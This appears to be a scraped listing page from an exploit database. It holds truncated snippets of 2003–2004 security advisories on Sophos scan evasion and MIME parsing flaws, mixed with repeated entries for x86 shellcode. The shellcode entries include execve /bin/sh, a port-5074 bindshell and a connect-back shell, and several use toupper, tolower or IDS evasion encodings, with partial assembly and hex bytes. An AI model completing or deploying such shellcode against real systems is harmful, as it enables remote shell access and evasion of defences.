iDEFENSE Security Advisory 09.22.04 - Sophos Small Business Suite Reserved Device Name Handling Vulnerability

Sophos Small Business Suite Reserved Device Name Handling Vulnerability iDEFENSE Security Advisory 09.22.04 www.idefense.com/application/poi/display?id=143&type=vulnerabilities September 22, 2004 I. BACKGROUND Sophos Small Business Suite includes the Sophos PureMessage Small Business Edition,...

freebsd/x86 connect 102 bytes

No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...

linux/x86 portbind port 5074 toupper 226 bytes

Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 portbind port 5074 toupper 226 bytes ============================================== / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshel...

bsdi/x86 - execve /bin/sh toupper evasion 97 bytes

bsdi/x86 execve /bin/sh toupper evasion 97 bytes. Shellcode exploit for bsdix86 platform / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov...

linux/x86 portbind port 5074 toupper 226 bytes

No description provided by source. / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C byte...

freebsd/x86 - connect 102 bytes

freebsd/x86 connect 102 bytes. Shellcode exploit for freebsdx86 platform ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross...

solaris/x86 execve /bin/sh toupper evasion 84 bytes

Exploit for solaris/x86 platform in category shellcode =================================================== solaris/x86 execve /bin/sh toupper evasion 84 bytes =================================================== / Solaris/x86 Used for toupper evasion look to the linux version for an explanation an...

linux/x86 portbind port 5074 toupper 226 bytes

linux/x86 portbind port 5074 toupper 226 bytes. Shellcode exploit for linx86 platform / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB...

solaris/x86 execve /bin/sh toupper evasion 84 bytes

solaris/x86 execve /bin/sh toupper evasion 84 bytes. Shellcode exploit for solarisx86 platform / Solaris/x86 Used for toupper evasion look to the linux version for an explanation and usage example. / char c0de = / main: / "\xeb\x33" / jmp callz / / start: / "\x5e" / popl %esi / "\x8d\x06" / leal...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

Exploit for bsdi/x86 platform in category shellcode ================================================ bsdi/x86 execve /bin/sh toupper evasion 97 bytes ================================================ / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor...

Sophos Anti-Virus 3.x - Reserved MS-DOS Name Scan Evasion

Sophos Anti-Virus 3.x - Reserved MS-DOS Name Scan Evasion source: https://www.securityfocus.com/bid/11236/info Sophos Anti-Virus is affected by a reserved MS-DOS name virus scan evasion vulnerability. This issue is due to a design error that allows certain files to avoid being scanned. An attacke...

Sophos Anti-Virus 3.x - Reserved MS-DOS Name Scan Evasion

source: https://www.securityfocus.com/bid/11236/info Sophos Anti-Virus is affected by a reserved MS-DOS name virus scan evasion vulnerability. This issue is due to a design error that allows certain files to avoid being scanned. An attacker may leverage this issue to bypass the scanner protection...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME separator issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME separator issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-006 -- Scope -- The aim of this document is to clearly define a...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME RFC2047 encoding issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-007 -- Scope -- The aim of this document is to clearly...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME Content-Transfer-Encoding mechanism issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME Content-Transfer-Encoding mechanism issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-005 -- Scope -- The aim of this documen...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME field whitespace issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME field whitespace issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-003 -- Scope -- The aim of this document is to clearly...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME field multiple occurrence issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME field multiple occurrence issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-002 -- Scope -- The aim of this document is to...

linux/x86 execve /bin/sh encrypted 58 bytes

linux/x86 execve /bin/sh encrypted 58 bytes. Shellcode exploit for linx86 platform / !!!!!! PRIVATE !!!!!!! // ANTI-IDS SHELLCODE // // !!!!!!!!!!!!!!!!!! // [email protected] 0x1d abril 0x7d2 ./test.c !!! Shellcode execve sh Encriptada !!! AHORA EN 58 BYTES !!!!!!!!!!!!!! Notese que la...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

No description provided by source. / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include stdio.h char c0de = / main: / "\xeb\x1b" / jmp callz / / start: / "\x5e" / popl %esi / "\x89\xf3" / movl %esi, %ebx / "\x89\xf7" / movl %esi, %edi / "\x83\xc7\x07" / addl $0x07,...